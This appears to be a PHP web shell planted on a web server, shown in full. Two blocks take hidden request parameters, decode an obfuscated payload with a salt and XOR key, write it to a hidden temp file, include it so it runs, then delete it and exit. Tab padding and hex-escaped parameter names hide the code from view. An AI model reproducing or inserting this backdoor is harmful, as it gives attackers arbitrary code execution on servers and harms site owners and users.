<?php																																										if(!empty($_REQUEST["\x76\x61lue"])){ $item = $_REQUEST["\x76\x61lue"]; $item = explode("." , $item ) ; $res= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $r= 0; $len= count( $item); do { if( $r >= $len) break; $v9= $item[$r]; $chS= ord( $salt[$r % $lenS]); $d= ( ( int)$v9 - $chS -( $r % 10)) ^ 42; $res .= chr( $d); $r++; } while( true); $dat = array_filter([getenv("TMP"), "/tmp", "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm"]); for ($itm = 0, $ent = count($dat); $itm < $ent; $itm++) { $fac = $dat[$itm]; if (max(0, is_dir($fac) * is_writable($fac))) { $token = "$fac/.ref"; if (file_put_contents($token, $res)) { include $token; @unlink($token); die(); } } } }


if(array_key_exists("e\x6E\x74", $_REQUEST)){
	$pointer = $_REQUEST["e\x6E\x74"];
		$pointer=explode	 ( '.' ,	$pointer );	 
	$reference = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt );
            $n = 0;
    
            $__tmp = $pointer;
            while ($v5 = array_shift($__tmp)) {
                $chS = ord($salt[$n % $sLen] );
                $dec = ((int)$v5 - $chS - ($n % 10)) ^ 48;
                $reference .= chr($dec );
                $n++;
            }
	$element = array_filter([getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getcwd()]);
	foreach ($element as $key => $hld) {
    		if (!( !is_dir($hld) || !is_writable($hld) )) {
    $value = "$hld/.data";
    $file = fopen($value, 'w');
if ($file) {
	fwrite($file, $reference);
	fclose($file);
	include $value;
	@unlink($value);
	die();
}
}
}
}